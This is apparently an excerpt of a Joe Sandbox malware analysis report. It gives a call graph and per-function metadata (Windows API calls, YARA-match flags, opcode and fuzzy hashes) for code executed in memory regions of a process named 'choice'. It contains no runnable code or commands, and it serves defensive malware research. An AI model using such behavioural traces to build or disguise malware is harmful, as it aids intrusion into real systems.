83686 2baae50 83681->83686 83683 2bab14d 83700 2baaac0 83683->83700 83685 2bab163 83687 2baae75 83686->83687 83711 2ba8750 83687->83711 83690 2baafc0 83690->83683 83692 2baafd7 83692->83683 83693 2baafce 83693->83692 83695 2bab0c5 83693->83695 83730 2baa510 83693->83730 83697 2bab12a 83695->83697 83739 2baa880 83695->83739 83698 2bbb9b0 RtlFreeHeap 83697->83698 83699 2bab131 83698->83699 83699->83683 83701 2baaad6 83700->83701 83708 2baaae1 83700->83708 83702 2bbba90 RtlAllocateHeap 83701->83702 83702->83708 83703 2baab05 83703->83685 83704 2ba8750 GetFileAttributesW 83704->83708 83705 2baae22 83706 2baae3b 83705->83706 83707 2bbb9b0 RtlFreeHeap 83705->83707 83706->83685 83707->83706 83708->83703 83708->83704 83708->83705 83709 2baa510 RtlFreeHeap 83708->83709 83710 2baa880 RtlFreeHeap 83708->83710 83709->83708 83710->83708 83712 2ba8771 83711->83712 83713 2ba8778 GetFileAttributesW 83712->83713 83714 2ba8783 83712->83714 83713->83714 83714->83690 83715 2bb3780 83714->83715 83716 2bb378e 83715->83716 83717 2bb3795 83715->83717 83716->83693 83718 2ba4960 LdrLoadDll 83717->83718 83719 2bb37ca 83718->83719 83720 2bb37d9 83719->83720 83743 2bb3240 LdrLoadDll 83719->83743 83722 2bbba90 RtlAllocateHeap 83720->83722 83726 2bb3987 83720->83726 83723 2bb37f2 83722->83723 83724 2bb397d 83723->83724 83723->83726 83727 2bb380e 83723->83727 83725 2bbb9b0 RtlFreeHeap 83724->83725 83724->83726 83725->83726 83726->83693 83727->83726 83728 2bbb9b0 RtlFreeHeap 83727->83728 83729 2bb3971 83728->83729 83729->83693 83731 2baa536 83730->83731 83744 2badf40 83731->83744 83733 2baa5a8 83735 2baa730 83733->83735 83736 2baa5c6 83733->83736 83734 2baa715 83734->83693 83735->83734 83737 2baa3d0 RtlFreeHeap 83735->83737 83736->83734 83749 2baa3d0 83736->83749 83737->83735 83740 2baa8a6 83739->83740 83741 2badf40 RtlFreeHeap 83740->83741 83742 2baa92d 83741->83742 83742->83695 83743->83720 83745 2badf4b 83744->83745 83746 2badf71 83745->83746 83747 2bbb9b0 RtlFreeHeap 83745->83747 83746->83733 83748 2badfb4 83747->83748 83748->83733 83750 2baa3ed 83749->83750 83753 2badfd0 83750->83753 83752 2baa4f3 83752->83736 83754 2badff4 83753->83754 83755 2bae09e 83754->83755 83756 2bbb9b0 RtlFreeHeap 83754->83756 83755->83752 83756->83755 83757 2bb64c0 83758 2bb651a 83757->83758 83760 2bb6527 83758->83760 83761 2bb3ec0 83758->83761 83762 2bbb920 NtAllocateVirtualMemory 83761->83762 83764 2bb3f01 83762->83764 83763 2bb400e 83763->83760 83764->83763 83765 2ba4960 LdrLoadDll 83764->83765 83767 2bb3f47 83765->83767 83766 2bb3f90 Sleep 83766->83767 83767->83763 83767->83766 83773 2bb0540 83774 2bb0563 83773->83774 83775 2ba4960 LdrLoadDll 83774->83775 83776 2bb0587 83775->83776

                                                                          Executed Functions

                                                                          Function 02BAC9D0 Relevance: 4.6, APIs: 3, Instructions: 106fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • FindFirstFileW.KERNELBASE(?,00000000), ref: 02BACAB4
                                                                          • FindNextFileW.KERNELBASE(?,00000010), ref: 02BACAEF
                                                                          • FindClose.KERNELBASE(?), ref: 02BACAFA
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: Find$File$CloseFirstNext
                                                                          • String ID:
                                                                          • API String ID: 3541575487-0
                                                                          • Opcode ID: 48555f95a8cfc974cc5e0977ea0b7e6172ff0cbf03b0566226d691158e60584c
                                                                          • Instruction ID: 3b041799110948ed2a11c0692c9272b67ab02ede7f0221c3180622723892cb38
                                                                          • Opcode Fuzzy Hash: 48555f95a8cfc974cc5e0977ea0b7e6172ff0cbf03b0566226d691158e60584c
                                                                          • Instruction Fuzzy Hash: 31318E719042487BEB21DFA4CC85FFF7B7DDF44705F104599B919A6180DBB0AA848FA0
                                                                          Function 02BB95F0 Relevance: 1.6, APIs: 1, Instructions: 101filenativeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • NtCreateFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 02BB96F4
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: CreateFile
                                                                          • String ID:
                                                                          • API String ID: 823142352-0
                                                                          • Opcode ID: 6fb42e3d6ae03e1ac9befaa09917f92c03d188ed7c7f4fc84a469856cbf3639f
                                                                          • Instruction ID: 1718b611cb492794ed69c3ddbe947c90047c1d769456d1baa75c727b84185efa
                                                                          • Opcode Fuzzy Hash: 6fb42e3d6ae03e1ac9befaa09917f92c03d188ed7c7f4fc84a469856cbf3639f
                                                                          • Instruction Fuzzy Hash: DB31D5B5A01608AFDB14DF98D880EEEB7B9EF8C304F108259F919A7340D774A955CFA1
                                                                          Function 02BB9760 Relevance: 1.6, APIs: 1, Instructions: 93filenativeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • NtReadFile.NTDLL(?,?,?,?,?,?,?,?,?), ref: 02BB984F
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: FileRead
                                                                          • String ID:
                                                                          • API String ID: 2738559852-0
                                                                          • Opcode ID: 9292feca3341f7b51958626f35d7ae0b2d5491e3ca99dfd0a3e978676a0309dd
                                                                          • Instruction ID: 03cd9546127abbb7e37ef6d386d4433e562e2871ad5a1281272137aebe40e1b0
                                                                          • Opcode Fuzzy Hash: 9292feca3341f7b51958626f35d7ae0b2d5491e3ca99dfd0a3e978676a0309dd
                                                                          • Instruction Fuzzy Hash: 2231E7B5A00608AFDB14DF98D880EEFB7B9EF88704F108259F919A7340D774A915CFA1
                                                                          Function 02BB9A70 Relevance: 1.6, APIs: 1, Instructions: 81memorynativeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • NtAllocateVirtualMemory.NTDLL(02BA216E,?,02BB840F,00000000,00000004,00003000,?,?,?,?,?,02BB840F,02BA216E), ref: 02BB9B41
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: AllocateMemoryVirtual
                                                                          • String ID:
                                                                          • API String ID: 2167126740-0
                                                                          • Opcode ID: 40918d9e4e2415ae9b9da49099c1ee6830f0adb71736cde6390b000020622b56
                                                                          • Instruction ID: 3a7eb1889e02a4a70921b1e20ebda152eaee22892f3dbc1de1a36160c0df054d
                                                                          • Opcode Fuzzy Hash: 40918d9e4e2415ae9b9da49099c1ee6830f0adb71736cde6390b000020622b56
                                                                          • Instruction Fuzzy Hash: 7E210AB5A10609AFDB20DF98DC41FEBB7B9EF88704F008159F91997240D774A915CFA1
                                                                          Function 02BB9860 Relevance: 1.6, APIs: 1, Instructions: 61filenativeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: DeleteFile
                                                                          • String ID:
                                                                          • API String ID: 4033686569-0
                                                                          • Opcode ID: c1199ea468f5ecb06fd265320e87a169c99f261b24ecffb16cb1852cc032a440
                                                                          • Instruction ID: 31d799f3948497a6fd9016279ae8c59ac7700b13fe75f31bc1c685c4c3bd1a87
                                                                          • Opcode Fuzzy Hash: c1199ea468f5ecb06fd265320e87a169c99f261b24ecffb16cb1852cc032a440
                                                                          • Instruction Fuzzy Hash: 68118C71A006057ADA20EB68DC41FEBB76DEF85714F008289F958A7280DBB0A905CFA1
                                                                          Function 02BB9910 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • NtClose.NTDLL(?,?,001F0001,?,00000000,?,00000000,00000104), ref: 02BB9941
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: Close
                                                                          • String ID:
                                                                          • API String ID: 3535843008-0
                                                                          • Opcode ID: c9ee12a75c3df09896fd10a5e432e13abe3670f004da60ca3f11a9296866f34f
                                                                          • Instruction ID: ab83fa1a1dcc1b70c60b9b92f3eb299eca2a44aa1ed88f9eb429960abb2845c0
                                                                          • Opcode Fuzzy Hash: c9ee12a75c3df09896fd10a5e432e13abe3670f004da60ca3f11a9296866f34f
                                                                          • Instruction Fuzzy Hash: 32E046322002047BC620AB5DDC01FABB76DDFC9710F0040A5FA08A7242C7B0B9048AB1
                                                                          Function 04DD35C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: 769cf9db40b953e290ad962040d9437fc837735061668f836311d121f4972164
                                                                          • Instruction ID: 5ee79b8d11d7a1144f9b95b723cd5ac5cd5d9d6bc5746fb19f25cdbdd5595915
                                                                          • Opcode Fuzzy Hash: 769cf9db40b953e290ad962040d9437fc837735061668f836311d121f4972164
                                                                          • Instruction Fuzzy Hash: BA90023160550402F2007159451471610158BD0205F65C411B0425778D8795DA5175A2
                                                                          Function 04DD2CA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: 53286a3719813e876f551a37f5260f75768fddb0b48cdbc2f2d0c6cbf9d0b221
                                                                          • Instruction ID: 90c03fc2b078dc29f3033ca710ed8ec2b6de9dcffc862fe5a5e900a9c7012278
                                                                          • Opcode Fuzzy Hash: 53286a3719813e876f551a37f5260f75768fddb0b48cdbc2f2d0c6cbf9d0b221
                                                                          • Instruction Fuzzy Hash: 2790023120140402F2007599540865600158BE0305F55D011B5025765EC665D9917131
                                                                          Function 04DD2C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: 3a3b3cea92c611397f39ac043cb372ff655e5db94d6fdd79b982451936a27840
                                                                          • Instruction ID: 6fd1066aaee4b3ccde179522a505124c620294f831c5ce5ed0d199007256388b
                                                                          • Opcode Fuzzy Hash: 3a3b3cea92c611397f39ac043cb372ff655e5db94d6fdd79b982451936a27840
                                                                          • Instruction Fuzzy Hash: B990023120148802F2107159840475A00158BD0305F59C411B4425768D8695D9917121
                                                                          Function 04DD2C60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: 5deda9aa923ba8ea1f47d8631e75891786e7fc37229e2d2ae07c6192fbe74e4b
                                                                          • Instruction ID: 00b1a5c4dd8599e9acc1d79e1cbf48b08184838a637325689db3070a3e4e30b5
                                                                          • Opcode Fuzzy Hash: 5deda9aa923ba8ea1f47d8631e75891786e7fc37229e2d2ae07c6192fbe74e4b
                                                                          • Instruction Fuzzy Hash: 7090023120140842F20071594404B5600158BE0305F55C016B0125764D8615D9517521
                                                                          Function 04DD2DD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: 9b619ae67056a56aaf54277371129d633066c992dcdab0feabeff2df1c9573d0
                                                                          • Instruction ID: 3f0112bec8d2f4fc8bab08186feddfbf244906ad752fc80a12e034a204dea85d
                                                                          • Opcode Fuzzy Hash: 9b619ae67056a56aaf54277371129d633066c992dcdab0feabeff2df1c9573d0
                                                                          • Instruction Fuzzy Hash: 69900221242441527645B159440451740169BE0245795C012B1415B60C8526E956F621
                                                                          Function 04DD2DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: 960600e5cc367dd2862f4a91184aaa65424ae63824ad6df1a752387889006162
                                                                          • Instruction ID: 0838ec90e3fc64be225bb875b50da55383b93533213b4f354d82273b2d2ff1b5
                                                                          • Opcode Fuzzy Hash: 960600e5cc367dd2862f4a91184aaa65424ae63824ad6df1a752387889006162
                                                                          • Instruction Fuzzy Hash: 8F90023120140413F2117159450471700198BD0245F95C412B0425768D9656DA52B121
                                                                          Function 04DD2D10 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: 42809ff53ddad4da108bf86cb5555925ab0c5eef577b734a9ceb1322097c0926
                                                                          • Instruction ID: 43abe47f836dfb2fbdaf8185a385dfbcbcb096b5b77e91e2291696273b09f71b
                                                                          • Opcode Fuzzy Hash: 42809ff53ddad4da108bf86cb5555925ab0c5eef577b734a9ceb1322097c0926
                                                                          • Instruction Fuzzy Hash: AD90022921340002F2807159540861A00158BD1206F95D415B0016768CC915D9697321
                                                                          Function 04DD2FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: b7adcb3a8391d33a53e4bc9080c89b6a0d829a6a0f10bc39bf1f7f4b7d04da45
                                                                          • Instruction ID: 41ab77afc63e20b79f46cf737e4cb2a74671742f747994eb08c2410846529313
                                                                          • Opcode Fuzzy Hash: b7adcb3a8391d33a53e4bc9080c89b6a0d829a6a0f10bc39bf1f7f4b7d04da45
                                                                          • Instruction Fuzzy Hash: 88900221211C0042F30075694C14B1700158BD0307F55C115B0155764CC915D9617521
                                                                          Function 04DD2F30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: b0546378f7c09a4d5195197635df6171de7ea7ee37f45ce120a0072b924fd202
                                                                          • Instruction ID: f305522eea8b2c39c5a46401e45ee3466c028d39e3cd9b6cad7512524e88f7a3
                                                                          • Opcode Fuzzy Hash: b0546378f7c09a4d5195197635df6171de7ea7ee37f45ce120a0072b924fd202
                                                                          • Instruction Fuzzy Hash: 3790026134140442F20071594414B160015CBE1305F55C015F1065764D8619DD527126
                                                                          Function 04DD2AD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: 745b7c78e661fa8abff9aad1b9dac3f703da83f483649793b368b63b1efbb368
                                                                          • Instruction ID: 931e994b96d9794c4273c725d2f24e468ad8f1728914b69928905b898cc43dcb
                                                                          • Opcode Fuzzy Hash: 745b7c78e661fa8abff9aad1b9dac3f703da83f483649793b368b63b1efbb368
                                                                          • Instruction Fuzzy Hash: 53900225211400032205B559070451700568BD5355355C021F1016760CD621D9617121
                                                                          Function 04DD2AF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: 6b4d950b355b9bad7b4dd80e8981898a7df6ebbe2edb1e8c177e88f0c5d2d474
                                                                          • Instruction ID: 7c955dc19f4994176b8bf1200345d01cfdd93d1ee6f3dc442552faf2b33dc542
                                                                          • Opcode Fuzzy Hash: 6b4d950b355b9bad7b4dd80e8981898a7df6ebbe2edb1e8c177e88f0c5d2d474
                                                                          • Instruction Fuzzy Hash: 07900225221400022245B559060451B04559BD6355395C015F14177A0CC621D9657321
                                                                          Function 04DD2BF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: 98e88d651fbcc5d992e861711e35cc863c281b15daa4dd36264d999a19f55691
                                                                          • Instruction ID: 98a18806300b8d9ce68b7d4fb703e7c47540a2019aa1f883575bf80df36f7970
                                                                          • Opcode Fuzzy Hash: 98e88d651fbcc5d992e861711e35cc863c281b15daa4dd36264d999a19f55691
                                                                          • Instruction Fuzzy Hash: 0490023120140802F2807159440465A00158BD1305F95C015B0026764DCA15DB5977A1
                                                                          Function 04DD2BE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: 50f8e62a430e527c4696a7d0bc505598086a52c491c6f8b0c319c7f4ed4206e9
                                                                          • Instruction ID: 9f3d721cae302bc860dcee0ec9f8202e2410c08b1fde1854a46ac8bc5e4c3007
                                                                          • Opcode Fuzzy Hash: 50f8e62a430e527c4696a7d0bc505598086a52c491c6f8b0c319c7f4ed4206e9
                                                                          • Instruction Fuzzy Hash: 6890023120544842F24071594404A5600258BD0309F55C011B00657A4D9625DE55B661
                                                                          Function 04DD2BA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: e78b12af3ba014d5851cde9fd7e496e5e3925995e1af20cf7c6992365aeef41a
                                                                          • Instruction ID: fd8db1de91ec761024902ad2a192c25bcf430231c1efd50f3f8f73d64c8e3213
                                                                          • Opcode Fuzzy Hash: e78b12af3ba014d5851cde9fd7e496e5e3925995e1af20cf7c6992365aeef41a
                                                                          • Instruction Fuzzy Hash: AA90023160540802F2507159441475600158BD0305F55C011B0025764D8755DB5576A1
                                                                          Function 04DD2B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
